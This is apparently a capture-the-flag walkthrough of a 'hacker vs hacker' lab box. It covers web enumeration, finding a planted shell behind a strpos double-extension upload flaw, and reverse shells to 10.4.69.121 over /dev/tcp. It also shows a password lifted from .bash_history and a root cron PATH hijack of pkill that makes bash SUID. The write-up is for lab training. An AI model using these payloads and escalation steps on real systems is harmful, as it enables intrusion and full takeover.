

# hacker vs hacker walkthrough

## Enumeration

Starting off with nmap

```
nmap -sT -p- --open -v --min-rate 5000 10.10.2.238
```

Output

```
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
```

```
nmap -sC -sV -v 10.10.2.238
```

Output

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 9f:a6:01:53:92:3a:1d:ba:d7:18:18:5c:0d:8e:92:2c (RSA)
|   256 4b:60:dc:fb:92:a8:6f:fc:74:53:64:c1:8c:bd:de:7c (ECDSA)
|_  256 83:d4:9c:d0:90:36:ce:83:f7:c7:53:30:28:df:c3:d5 (ED25519)
80/tcp    open  http      Apache httpd 2.4.41 ((Ubuntu))
|_ http-title: RecruitSec: Industry Leading Infosec Recruitment
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
```

```
|_http-favicon: Unknown favicon MD5: DD1493059959BA895A46C026C39C36EF
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

## port 80 enumeration

Visit to web, we found index.html with title of RecruitSec: Industry Leading Infosec Recruitment

In index.html, we have upload form action in which it is seems only interesting

```
<form action="[upload.php](view-source:http://10.10.2.238/upload.php)" method="post" enctype="multipart/form-data">
  <input class="button" type="file" name="fileToUpload" id="fileToUpload">
  <input class="button-primary" type="submit" value="Upload CV" name="submit">
```

let go bruteforce files

```
ffuf -u http://10.10.2.238/FUZZ -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt
```




Output

```
[REMOVED]
/cvs/ [Status: 200, Size: 26, Words: 3, Lines: 1, Duration: 865ms]
/dist/ [Status: 200, Size: 1118, Words: 76, Lines: 18, Duration: 775ms]
/index.php [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 975ms]
/server-status/ [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 702ms]
/upload.php [Status: 200, Size: 552, Words: 67, Lines: 19, Duration: 730ms]
:: Progress: [2558/2558] :: Job [1/1] :: 56 req/sec :: Duration: [0:00:58] :: Errors: 0 ::
```

Visit to /cvs/, it tell us that **Directory listing disabled**

Visit to /dist/, it show us that it has directory listing

## Index of /dist

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
 <a href="#">Parent Directory</a>		-	
 <a href="#">css/</a>	2022-04-04 20:11	-	
 <a href="#">images/</a>	2022-04-04 20:11	-	

*Apache/2.4.41 (Ubuntu) Server at 10.10.2.238 Port 80*

Visit to index.php, we got Forbidden in which it means that **you dont have permission to access this resource**

Visit to upload.php, we got message that **Hacked! If you dont want me to upload my shell, do better at filtering!**  
and by view source code, we see some kind of source code

```
<!-- seriously, dumb stuff:
$target_dir = "cvs/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
if (!strpos($target_file, ".pdf")) {
    echo "Only PDF CVs are accepted.";
} else if (file_exists($target_file)) {
    echo "This CV has already been uploaded!";
} else if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
    echo "Success! We will get back to you.";
} else {
    echo "Something went wrong :|";
```

```
}  
-->
```

From index.html, we see upload.php in form action, so when we upload a file from index.html, it is being processed by upload.php

And we have code.

Let go and upload PDF and see if it works according to what was intended

we have upload a PDF without any tampering anything and we still got an same error that we got earlier **Hacked! If you dont want me to upload my shell, do better at filtering!** in which it may seem interesting as visit upload.php(GET method), we got same error as when we upload PDF(POST).

## Let understand code first,

checking is happen at strpos() function.

Google online about this function

```
strpos() - Find the position of the first occurrence
```

let go and test from PHP interactive shell

Let do as it was intended as user need to upload PDF file and file name maybe be a.pdf and we can see below that it is give us one value as it is true

```
└─$ php -a  
Interactive shell  
  
php > $a = "a.pdf";  
php > echo strpos($a, ".pdf");  
1
```

let try with "a.php" and it doesn't print anything so meaning that it is false

```
php > $a = "a.php";  
php > echo strpos($a, ".pdf");  
php >  
php >
```

from definition, it says that it finds the position of the first occurrence so if we give double extension like "a.pdf.php", we might bypass it

```
php > $a = "a.pdf.php";  
php > echo strpos($a, ".pdf");  
1  
php >  
php >
```

and indeed it gives us true as 1, meaning that it was uploaded successfully

But earlier, in description, it says that they try to prevent an attacker and fails meaning that they may disable upload functionality

## USER ENUMERATION

let try to brute force files with double extension in directory CVS as in code, it was mentioned that files to be saved there.

```
ffuf -u http://10.10.2.238/cvs/FUZZ.pdf.php -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt  
-fc 403
```

Output

```
/'___\  /'___\      /'___\
/\ \_\ / /\ \_\ /  __  __  /\ \_\ /
\ \ ,__\ \ \ ,__\ \ \_\ \ \ \ ,__\
\ \ \_\ / \ \ \_\ / \ \_\ \ \ \ \_\ /
\ \_\ \ \_\ \ \_\ \_\_\_\ / \ \_\
\_\_\ / \_\_\ / \_\_\_\ / \_\_\ /
```

v1.5.0 Kali Exclusive <3

```
-----

:: Method      : GET
:: URL         : http://10.10.2.238/cvs/FUZZ.pdf.php
:: Wordlist     : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt
:: Follow redirects : false
:: Calibration  : false
:: Timeout     : 10
:: Threads     : 40
:: Matcher     : Response status: 200,204,301,302,307,401,403,405,500
:: Filter      : Response status: 403

-----
```

```
shell [Status: 200, Size: 18, Words: 1, Lines: 2, Duration: 771ms]
```

then, we have file called shell.pdf.php

Visit our file, we got boom reaction

```
└─$ curl http://10.10.2.238/cvs/shell.pdf.php
<pre></pre>
```

boom!

How does hacker use this to upload a shell??

it is either through get method or post

You could guess some few parameter exist so as to get shell - `cmd`

```
└─$ curl http://10.10.2.238/cvs/shell.pdf.php?cmd=id
130 x
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>
boom!
```

we can see that `id` was executed from parameter `cmd`.

payload → `bash -c 'exec sh -i &>/dev/tcp/10.4.69.121/1234 <&1'`

```
curl http://10.10.2.238/cvs/shell.pdf.php?cmd="bash%20-c%20%27exec%20sh%20-i%20%26%3E%2Fdev%2Ftcp%2F10.4.69.121%2F1234%20%3C%261%27"
```

i got shell but when i try to stabilize with bash, i got nope and return to my previous sh shell

```
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@b2r:/var/www/html/cvs$ nope
$
```

check for process

```
$ ps aux|grep 'nope'
root          7509  0.0  0.1   2608   592 ?        Ss   14:53   0:00 /bin/sh -c /bin/sleep 21 && for f in
`/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
root          7510  0.0  0.1   2608   596 ?        Ss   14:53   0:00 /bin/sh -c /bin/sleep 31 && for f in
`/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
root          7511  0.0  0.1   2608   536 ?        Ss   14:53   0:00 /bin/sh -c /bin/sleep 41 && for f in
`/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
root          7516  0.0  0.1   2608   596 ?        Ss   14:53   0:00 /bin/sh -c /bin/sleep 51 && for f in
`/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
www-data      7526  0.0  0.1   3304   652 ?        S    14:53   0:00 grep nope
```

understand the code → it do list of pts and echo nope and kill it my tty

check upload.php and there is nothing interest

```
$ cat upload.php

Hacked! If you dont want me to upload my shell, do better at filtering!

<!-- seriously, dumb stuff:

$target_dir = "cvs/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);

if (!strpos($target_file, ".pdf")) {
    echo "Only PDF CVs are accepted.";
} else if (file_exists($target_file)) {
    echo "This CV has already been uploaded!";
} else if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
    echo "Success! We will get back to you.";
```



```
} else {  
    echo "Something went wrong :|";  
}  
  
-->$
```

Navigate to home directory, we can read the flag

```
$ cd home  
$ ls  
lachlan  
$ cd lachlan  
$ ls  
bin  
user.txt  
$ ls -la  
total 36  
drwxr-xr-x 4 lachlan lachlan 4096 May  5 04:39 .  
drwxr-xr-x 3 root    root    4096 May  5 04:38 ..  
-rw-r--r-- 1 lachlan lachlan  168 May  5 04:38 .bash_history  
-rw-r--r-- 1 lachlan lachlan  220 Feb 25  2020 .bash_logout  
-rw-r--r-- 1 lachlan lachlan 3771 Feb 25  2020 .bashrc  
drwx----- 2 lachlan lachlan 4096 May  5 04:39 .cache  
-rw-r--r-- 1 lachlan lachlan  807 Feb 25  2020 .profile  
drwxr-xr-x 2 lachlan lachlan 4096 May  5 04:38 bin  
-rw-r--r-- 1 lachlan lachlan   38 May  5 04:38 user.txt  
$ cat user.txt  
[REDACTED]
```

there is uncommon directory `bin`. Navigate to it, we see `backup.sh`

```
$ cd bin
$ ls -la
total 12
drwxr-xr-x 2 lachlan lachlan 4096 May  5 04:38 .
drwxr-xr-x 4 lachlan lachlan 4096 May  5 04:39 ..
-rw-r--r-- 1 lachlan lachlan   56 May  5 04:38 backup.sh
$ cat backup.sh
# todo: pita website backup as requested by her majesty
```

from list long, we can see that we cant write to it

Navigate back to home directory of that user,we can check `.bash_history`

```
$ cat .bash_history
./cve.sh
./cve-patch.sh
vi /etc/cron.d/persistence
echo -e "dHY5pzmNYoETv7SUaY\nthisistheway123\nthisistheway123" | passwd
ls -sf /dev/null /home/lachlan/.bash_history
$
```

and see command that i didn't write

we can see as this user lachlan give itself a password to login which it is `thisistheway123`

```
$ su lachlan
Password: thisistheway123
id
uid=1001(lachlan) gid=1001(lachlan) groups=1001(lachlan)
```

and we can login as lachlan

## ROOT ENUMERATION

we can check cronjob as that backup.sh might running

```
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .----- minute (0 - 59)
# | .----- hour (0 - 23)
# | | .----- day of month (1 - 31)
# | | | .----- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
```

```
#
```

and so far, nothing run

let try to login as lachlan through ssh but remember that nope and we can pass shell from ssh

```
└─$ ssh lachlan@10.10.2.238 "bash -c 'exec bash -i &>/dev/tcp/10.4.69.121/1234 <&1'"  
lachlan@10.10.2.238's password:
```

we got shell but also hide our self

```
└─$ nc -nvlp 1234  
32 x  
Ncat: Version 7.92 ( https://nmap.org/ncat )  
Ncat: Listening on :::1234  
Ncat: Listening on 0.0.0.0:1234  
Ncat: Connection from 10.10.2.238.  
Ncat: Connection from 10.10.2.238:41068.  
bash: cannot set terminal process group (9233): Inappropriate ioctl for device  
bash: no job control in this shell  
lachlan@b2r:~$ ls /dev/pts  
ls /dev/pts  
ptmx  
lachlan@b2r:~$
```

Remember that cronjob that keep terminate us

```

lachlan@b2r:~$ ps aux|grep nope
ps aux|grep nope
root          37237  0.0  0.1   2608   532 ?        Ss   17:03   0:00 /bin/sh -c /bin/sleep 31 && for f in
`/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
root          37238  0.0  0.1   2608   532 ?        Ss   17:03   0:00 /bin/sh -c /bin/sleep 41 && for f in
`/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
root          37244  0.0  0.1   2608   536 ?        Ss   17:03   0:00 /bin/sh -c /bin/sleep 51 && for f in
`/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
lachlan      37257  0.0  0.1   6300   720 ?        S    17:03   0:00 grep --color=auto nope
lachlan@b2r:~$

```

the mistake was to run pkill without a full path. we will exploit by inject our path to our binary called pkill and execute as root

After try to inject my own path and got no luck but from .bash\_history, we can see that PATH was passed that it is why we were not successful

```

lachlan@b2r:~$ cat /etc/cron.d/persistence
cat /etc/cron.d/persistence
PATH=/home/lachlan/bin:/bin:/usr/bin
# * * * * * root backup.sh
* * * * * root /bin/sleep 1 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -
t pts/$f; done
* * * * * root /bin/sleep 11 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -
t pts/$f; done
* * * * * root /bin/sleep 21 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -
t pts/$f; done
* * * * * root /bin/sleep 31 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -
t pts/$f; done

```

```
* * * * * root /bin/sleep 41 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -  
t pts/$f; done  
* * * * * root /bin/sleep 51 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -  
t pts/$f; done  
lachlan@b2r:~$
```

and this path seems to be interesting

```
/home/lachlan/bin
```

All i have to do is to move to this `/home/lachlan/bin` and put our malicious pkill

```
lachlan@b2r:~$ cd /home/lachlan/bin  
cd /home/lachlan/bin  
lachlan@b2r:~/bin$  
  
lachlan@b2r:~/bin$ ls  
ls  
backup.sh  
lachlan@b2r:~/bin$ echo -n "chmod +s /bin/bash" > pkill  
echo -n "chmod +s /bin/bash" > pkill  
lachlan@b2r:~/bin$ chmod +x pkill  
chmod +x pkill
```

After awhile

```
lachlan@b2r:~$ ls -la /bin/bash  
ls -la /bin/bash  
-rwsr-sr-x 1 root root 1183448 Apr 18 09:14 /bin/bash
```

```
lachlan@b2r:~$ /bin/bash -p
/bin/bash -p
id
uid=1001(lachlan) gid=1001(lachlan) euid=0(root) egid=0(root) groups=0(root),1001(lachlan)
cd /root
ls
root.txt
snap
cat root.txt
[REDACTED]
```

we now a root user

Greeting from [blackninja23](#)

